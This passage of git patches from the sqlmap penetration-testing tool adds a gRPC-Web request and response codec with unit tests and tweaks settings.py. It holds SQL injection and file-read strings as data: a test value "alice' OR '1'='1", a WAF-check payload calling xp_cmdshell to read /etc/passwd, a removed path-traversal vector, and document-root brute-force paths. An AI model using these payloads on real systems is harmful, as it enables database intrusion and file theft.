headers + for header, value in items: + if header.lower() == key: + return value + return None + +def decodeBody(data): + """ + Probe 'data' for a gRPC-Web (grpc-web-text) body WITHOUT any side effects. Returns a + (jsonView, skeleton) tuple - the JSON string of injectable string fields plus the message skeleton + to re-encode with - or (None, None). The caller commits the skeleton to kb.grpcWeb only on acceptance. + """ + + if not _isTextContentType(_requestContentType()): + return None, None + + try: + fields = _decode(_unframe(_b64decode(data))) + except Exception: + return None, None + + strings = _stringFields(fields) + if not strings: + return None, None + + counts = {} + for _, fn, _value in strings: + counts[fn] = counts.get(fn, 0) + 1 + + occurrence = {} + mapping = {} + view = {} + for index, fn, value in strings: + if counts[fn] == 1: + key = "f%d" % fn + else: + key = "f%d_%d" % (fn, occurrence.get(fn, 0)) + occurrence[fn] = occurrence.get(fn, 0) + 1 + mapping[key] = index + view[key] = value + + skeleton = {"fields": [list(_) for _ in fields], "map": mapping} + + return json.dumps(view), skeleton + +def encodeBody(jsonBody): + """ + Inverse of decodeBody(): overlay the (possibly injected) JSON string values onto the skeleton and + re-encode a grpc-web-text (base64) body, recomputing the length prefixes. Called at send time. + + Only a body whose keys are EXACTLY the gRPC surrogate keys is transformed - so unrelated JSON bodies + on the shared request path (CSRF/second-order/redirect/safe requests) pass through untouched. + """ + + if not kb.grpcWeb: + return jsonBody + + try: + parsed = json.loads(jsonBody) + except Exception: + return jsonBody + + if not isinstance(parsed, dict) or set(parsed) != set(kb.grpcWeb["map"]): + return jsonBody + + fields = [list(_) for _ in kb.grpcWeb["fields"]] + + for key, index in kb.grpcWeb["map"].items(): + value = parsed[key] + fields[index][2] = (value if hasattr(value, "encode") else str(value)).encode("utf-8") + + return base64.b64encode(_frame(_encode(fields))).decode("ascii") + +def decodeResponse(page, responseHeaders=None): + """ + Render a gRPC-Web response as readable text (message-frame fields + the trailer frame's + grpc-status/grpc-message = the back-end error) so the oracle/error-regex/in-band paths see content, + not an opaque blob. Handles trailers-only errors (status/message in response headers, empty body). + Unary only: at most one data frame, an optional final trailer, exact frame flags. Only a + grpc-web-text response body is decoded; anything else is left unchanged. + """ + + if not kb.grpcWeb: + return page + + out = [] + + status = _headerValue(responseHeaders, "grpc-status") + if status is not None: + out.append("grpc-status:%s" % status) + message = _headerValue(responseHeaders, "grpc-message") + if message: + out.append("grpc-message:%s" % unquote(message)) + + if page and _isTextContentType(_headerValue(responseHeaders, HTTP_HEADER.CONTENT_TYPE)): + try: + raw = _b64decode(page) + bodyOut = [] # separate so a mid-parse failure never leaks partial frame renders + pos = 0 + dataFrames = 0 + seenTrailer = False + while pos + 5 <= len(raw): + flag = raw[pos] if isinstance(raw[pos], int) else ord(raw[pos]) + length = struct.unpack(">I", raw[pos + 1:pos + 5])[0] + payload, pos = _readExact(raw, pos + 5, length) + if seenTrailer: + raise ValueError("frame after trailer") + if flag == 0x00: # data frame + dataFrames += 1 + if dataFrames > 1: + raise ValueError("streaming response not supported") + for _fn, wt, val in _decode(payload): + bodyOut.append(bytes(val).decode("utf-8", "replace") if wt == 2 else str(val)) + elif flag == 0x80: # trailer frame (grpc-status / grpc-message), must be last + seenTrailer = True + bodyOut.append(unquote(payload.decode("latin-1"))) + else: + raise ValueError("unsupported response frame flags 0x%02x" % flag) + if pos != len(raw): + raise ValueError("trailing bytes after final frame") + out.extend(bodyOut) # commit body renders only on a fully-valid parse + except Exception: + # keep status/message recovered from HEADERS (discard any partial body); append the raw page + out.append(page) + return "\n".join(out) + elif page: + out.append(page) # unsupported/absent response Content-Type: leave the body for the oracle + + return "\n".join(out) if out else page diff --git a/tests/test_grpcweb.py b/tests/test_grpcweb.py new file mode 100644 index 00000000000..7c0534103f6 --- /dev/null +++ b/tests/test_grpcweb.py @@ -0,0 +1,268 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +gRPC-Web body support (lib/utils/grpcweb.py, grpc-web-text/unary). Covers the peer-review merge gate: +exact round-trip, injection with length recomputation, strict framing validation (truncation / length +mismatch / trailing bytes / compression / bad varint / field 0), repeated-field distinct injection +points, response decoding incl. trailers-only-via-headers and response-Content-Type gating, and the +side-effect-free probe that lets a declined prompt send the original body. +""" + +import base64 +import json +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf +from lib.core.data import kb +from lib.utils import grpcweb + +TEXT_CT = [("Content-Type", "application/grpc-web-text")] + + +def _grpcBody(fields): + return base64.b64encode(grpcweb._frame(grpcweb._encode(fields))).decode("ascii") + + +class TestCodec(unittest.TestCase): + def test_wire_roundtrip_exact(self): + inner = grpcweb._encode([[1, 2, b"deep"], [2, 0, 7]]) + msg = grpcweb._encode([[1, 2, b"alice"], [2, 0, 10], [3, 2, inner], [4, 5, b"\x01\x02\x03\x04"]]) + self.assertEqual(grpcweb._encode(grpcweb._decode(msg)), msg) + + def test_varint_boundaries(self): + for n in (0, 1, 127, 128, 300, 16384, 2 ** 31, 2 ** 63): + self.assertEqual(grpcweb._readVarint(grpcweb._writeVarint(n), 0)[0], n) + + def test_overlong_varint_rejected(self): + self.assertRaises(ValueError, grpcweb._readVarint, b"\x80" * 11, 0) + + def test_field_zero_rejected(self): + self.assertRaises(ValueError, grpcweb._decode, b"\x02\x01a") # tag 0x02 -> field 0, wire 2 + + def test_truncated_field_rejected(self): + self.assertRaises(ValueError, grpcweb._decode, b"\x0a\x05abc") # declares 5, has 3 + + def test_unframe_strict(self): + good = grpcweb._frame(b"\x08\x01") + self.assertEqual(grpcweb._unframe(good), b"\x08\x01") + self.assertRaises(ValueError, grpcweb._unframe, good[:4]) # truncated header + self.assertRaises(ValueError, grpcweb._unframe, good + b"\x00") # trailing bytes + self.assertRaises(ValueError, grpcweb._unframe, good[:-1]) # declared > available + self.assertRaises(ValueError, grpcweb._unframe, b"\x01" + good[1:]) # compressed flag + + +class TestTranscode(unittest.TestCase): + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + conf.httpHeaders = list(TEXT_CT) + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_decode_is_side_effect_free(self): + # probe must NOT touch kb.grpcWeb (that is what lets a declined prompt restore the original) + view, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"], [2, 0, 10]])) + self.assertEqual(json.loads(view), {"f1": "alice"}) + self.assertIsNotNone(skeleton) + self.assertIsNone(kb.grpcWeb) + + def test_exact_roundtrip_no_injection(self): + body = _grpcBody([[1, 2, b"alice"], [2, 0, 10]]) + view, skeleton = grpcweb.decodeBody(body) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody(view), body) # merge-gate #11: encodeBody(decodeBody(x)) == x + + def test_injection_reencodes_with_correct_length(self): + view, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"], [2, 0, 10]])) + kb.grpcWeb = skeleton + wire = grpcweb.encodeBody(json.dumps({"f1": "alice' OR '1'='1"})) + fields = grpcweb._decode(grpcweb._unframe(base64.b64decode(wire))) + self.assertEqual(bytes(fields[0][2]).decode(), "alice' OR '1'='1") + self.assertEqual(fields[1][2], 10) # non-string field preserved + + def test_repeated_fields_distinct_points(self): + view, _ = grpcweb.decodeBody(_grpcBody([[3, 2, b"first"], [3, 2, b"second"]])) + self.assertEqual(json.loads(view), {"f3_0": "first", "f3_1": "second"}) + + def test_parseable_strings_are_offered(self): + # ordinary strings that ALSO happen to parse as protobuf wire data must NOT be silently dropped + # ("A12345678" -> fixed64 tag, "M1234" -> fixed32 tag); descriptorless can't tell, so offer them + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"A12345678"], [2, 2, b"M1234"]])) + self.assertEqual(json.loads(view), {"f1": "A12345678", "f2": "M1234"}) + + def test_non_grpc_and_binary_not_detected(self): + conf.httpHeaders = [("Content-Type", "application/json")] + self.assertEqual(grpcweb.decodeBody('{"a":"b"}'), (None, None)) + conf.httpHeaders = [("Content-Type", "application/grpc-web+proto")] # binary: deliberately out of scope + self.assertEqual(grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])), (None, None)) + + def test_encode_guards_bad_surrogate(self): + _, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody("[1,2,3]"), "[1,2,3]") # JSON scalar/array -> unchanged + self.assertEqual(grpcweb.encodeBody("not json"), "not json") + + +class TestResponse(unittest.TestCase): + def setUp(self): + self._g = kb.get("grpcWeb") + kb.grpcWeb = {"fields": [], "map": {}} # any truthy skeleton enables response decoding + + def tearDown(self): + kb.grpcWeb = self._g + + def _resp(self, frames, ct="application/grpc-web-text", extra=None): + page = base64.b64encode(b"".join(frames)).decode("ascii") if frames else "" + headers = {"Content-Type": ct} + if extra: + headers.update(extra) + return grpcweb.decodeResponse(page, headers) + + def test_message_and_trailer_rendered(self): + msg = grpcweb._frame(grpcweb._encode([[1, 0, 3], [2, 2, b"luther"]])) + trailer = b"\x80" + struct.pack(">I", len(b"grpc-status:0")) + b"grpc-status:0" + decoded = self._resp([msg, trailer]) + self.assertIn("3", decoded) + self.assertIn("luther", decoded) + self.assertIn("grpc-status:0", decoded) + + def test_backend_error_in_trailer(self): + tmsg = b"grpc-status:13\r\ngrpc-message:SQLite%20error%3A%20near%20syntax" + decoded = self._resp([b"\x80" + struct.pack(">I", len(tmsg)) + tmsg]) + self.assertIn("SQLite error: near syntax", decoded) # unquoted -> matchable by errors.xml + + def test_trailers_only_via_headers(self): + # empty body, status/message carried in response HEADERS (protocol-allowed trailers-only) + decoded = grpcweb.decodeResponse("", {"Content-Type": "application/grpc-web-text", + "grpc-status": "13", "grpc-message": "boom%20here"}) + self.assertIn("grpc-status:13", decoded) + self.assertIn("boom here", decoded) + + def test_response_content_type_gating(self): + # a non-grpc-web response (e.g. an HTML error page) must be left untouched + page = base64.b64encode(grpcweb._frame(b"\x08\x01")).decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "text/html"}), page) + + def test_compressed_response_frame_falls_back(self): + page = base64.b64encode(b"\x01" + struct.pack(">I", 2) + b"\x08\x01").decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "application/grpc-web-text"}), page) + + +class TestReviewRound2(unittest.TestCase): + """The three second-round blockers + smaller hardening.""" + + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + conf.httpHeaders = list(TEXT_CT) + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_unrelated_json_body_not_converted(self): + # blocker #1: an unrelated JSON body on the shared request path must pass through untouched + _, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody('{"foo":"bar"}'), '{"foo":"bar"}') # different keys + self.assertEqual(grpcweb.encodeBody('{"f1":"x","extra":"y"}'), '{"f1":"x","extra":"y"}') # superset + # but the genuine surrogate (exact keys) IS transformed + self.assertNotEqual(grpcweb.encodeBody('{"f1":"x"}'), '{"f1":"x"}') + + def test_streaming_response_rejected(self): + kb.grpcWeb = {"fields": [], "map": {}} + two = grpcweb._frame(grpcweb._encode([[1, 2, b"a"]])) + grpcweb._frame(grpcweb._encode([[1, 2, b"b"]])) + page = base64.b64encode(two).decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1]}), page) # falls back, no corruption + + def test_reserved_frame_flags_rejected(self): + # request: reserved flag byte -> not a valid gRPC-Web frame -> not detected + bad = b"\x02" + struct.pack(">I", 3) + grpcweb._encode([[1, 2, b"x"]]) + self.assertRaises(ValueError, grpcweb._unframe, bad) + # response: 0x82 (trailer + reserved bit) rejected -> fall back + kb.grpcWeb = {"fields": [], "map": {}} + page = base64.b64encode(b"\x82" + struct.pack(">I", 3) + b"a=0").decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1]}), page) + + def test_strict_base64(self): + self.assertRaises(ValueError, grpcweb._b64decode, "!!!!") # invalid chars + self.assertRaises(ValueError, grpcweb._b64decode, "AAA") # bad length + self.assertRaises(ValueError, grpcweb._b64decode, "AAAA=BCD") # stray mid-quantum pad + # independently-padded chunks ARE accepted (reconstruct the concatenation) - a unary text + # response may legitimately be flushed as separate padded base64 segments + a, b = b"hello", b"world!!" + chunks = base64.b64encode(a).decode("ascii") + base64.b64encode(b).decode("ascii") + self.assertEqual(grpcweb._b64decode(chunks), a + b) + + def test_strict_media_type(self): + conf.httpHeaders = [("Content-Type", "application/grpc-web-textual")] # not the real type + self.assertEqual(grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])), (None, None)) + conf.httpHeaders = [("Content-Type", "application/grpc-web-text; charset=utf-8")] # params OK + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])) + self.assertIsNotNone(view) + + def test_header_status_preserved_on_body_failure(self): + kb.grpcWeb = {"fields": [], "map": {}} + raw = b"\x00" + struct.pack(">I", 5) + b"ab" # declares 5, has 2 -> body parse fails + page = base64.b64encode(raw).decode("ascii") + decoded = grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1], "grpc-status": "13"}) + self.assertIn("grpc-status:13", decoded) # header status not lost + self.assertIn(page, decoded) # raw page still available to the oracle + + def test_varint_and_field_number_bounds(self): + self.assertRaises(ValueError, grpcweb._readVarint, b"\xff" * 9 + b"\x02", 0) # > 64 bits + # field number above the protobuf max (2**29 - 1) + big = grpcweb._writeVarint(((0x1fffffff + 1) << 3) | 2) + b"\x01a" + self.assertRaises(ValueError, grpcweb._decode, big) + + +class TestReviewRound3(unittest.TestCase): + """Media-type +proto acceptance, Accept negotiation helper, unsupported-CT body preservation.""" + + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_proto_media_type_accepted(self): + for ct in ("application/grpc-web-text+proto", "application/grpc-web-text+proto; charset=utf-8"): + conf.httpHeaders = [("Content-Type", ct)] + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + self.assertEqual(json.loads(view), {"f1": "alice"}, "CT %r not accepted" % ct) + + def test_accepts_text_content_type_helper(self): + self.assertFalse(grpcweb.acceptsTextContentType("*/*")) + self.assertFalse(grpcweb.acceptsTextContentType("application/json")) + self.assertTrue(grpcweb.acceptsTextContentType("application/grpc-web-text")) + self.assertTrue(grpcweb.acceptsTextContentType("application/json, application/grpc-web-text+proto")) + + def test_unsupported_response_ct_preserves_body_and_status(self): + kb.grpcWeb = {"fields": [], "map": {}} + page = base64.b64encode(grpcweb._frame(b"\x08\x01")).decode("ascii") + decoded = grpcweb.decodeResponse(page, {"Content-Type": "text/html", "grpc-status": "2"}) + self.assertIn("grpc-status:2", decoded) # header status kept + self.assertIn(page, decoded) # body not dropped + # and with no status, an unsupported-CT body is returned unchanged + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "text/html"}), page) + + def test_proto_response_ct_decoded(self): + kb.grpcWeb = {"fields": [], "map": {}} + msg = grpcweb._frame(grpcweb._encode([[2, 2, b"luther"]])) + page = base64.b64encode(msg).decode("ascii") + self.assertIn("luther", grpcweb.decodeResponse(page, {"Content-Type": "application/grpc-web-text+proto"})) + + +if __name__ == "__main__": + unittest.main(verbosity=2) From afc49107b570a773e485556dd3b4960abcd72b42 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 17 Jul 2026 23:48:04 +0200 Subject: [PATCH 770/853] Minor patch --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9eb35327acf..df9da0f4a14 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.113" +VERSION = "1.10.7.114" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -339,7 +339,7 @@ ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs") -FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") +FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", "RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") From 697e591c2a9aff5ae311d30cf5c491cacd32ed17 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 18 Jul 2026 00:04:24 +0200 Subject: [PATCH 771/853] Removing some leftovers --- lib/core/settings.py | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index df9da0f4a14..ab90f498c9e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.114" +VERSION = "1.10.7.115" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -795,15 +795,6 @@ # Payload used for checking of existence of WAF/IPS (dummier the better) IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" -# Vectors used for provoking specific WAF/IPS behavior(s) -WAF_ATTACK_VECTORS = ( - "", # NIL - "search=", - "file=../../../../etc/passwd", - "q=foobar", - "id=1 %s" % IPS_WAF_CHECK_PAYLOAD -) - # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') @@ -1380,9 +1371,6 @@ # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" -# Minimum supported version of httpx library (for --http2) -MIN_HTTPX_VERSION = "0.28" - # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" From 80aaa79ea1a82e69af35768d92498663264c8790 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 18 Jul 2026 00:05:39 +0200 Subject: [PATCH 772/853] Removing some leftover --- lib/core/settings.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ab90f498c9e..34ad0d9ce48 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.115" +VERSION = "1.10.7.116" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -46,7 +46,6 @@ # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 -CONSTANT_RATIO = 0.9 # Ratio used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_RATIO = 0.5 From 5b322542f07d91249dcfd4136dbf12a9f00512d3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 18 Jul 2026 00:20:02 +0200 Subject: [PATCH 773/853] Minor update --- lib/core/settings.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 34ad0d9ce48..a4049fd9bbd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.116" +VERSION = "1.10.7.117" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -882,7 +882,7 @@ HASH_ATTACK_TIME_LIMIT = 300 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values -HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" +HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash|secret|digest" # Regular expression matching (declared) binary column types, used to auto-hex their values during dumping # so raw bytes (e.g. password hashes stored in binary form) are not silently truncated at NUL / mangled by @@ -1332,7 +1332,7 @@ MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' From 54bb3ea1364fcbb9ebb7735fd40277f64a7ac81e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 18 Jul 2026 13:40:33 +0200 Subject: [PATCH 774/853] Minor fix --- lib/core/settings.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a4049fd9bbd..6fab8744626 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.117" +VERSION = "1.10.7.118" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1374,10 +1374,10 @@ XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data -JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z' +JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|-?\d+(?:\.\d+)?|true|false|null|\[|\{).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data -JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z" +JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|-?\d+(?:\.\d+)?|\{).*\}\s*(\]\s*)*\Z" # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" @@ -1429,12 +1429,12 @@ # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { - OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%", "/Library/WebServer/Documents", "/opt/homebrew/var/www"), + OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/usr/share/nginx/html", "/srv/www", "/srv/http", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%", "/Library/WebServer/Documents", "/opt/homebrew/var/www"), OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root -BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") +BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "public_html", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") # String used for marking target name inside used brute force web server document root BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" From 384ee1a91aa3996b92577f6e4c70305b4d72ac9f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 11:15:32 +0200 Subject: [PATCH 775/853] Minor patch --- lib/core/settings.py | 2 +- lib/utils/hash.py | 7 ++++--- tests/test_hash.py | 9 +++++++++ 3 files changed, 14 insertions(+), 4 deletions(-) diff 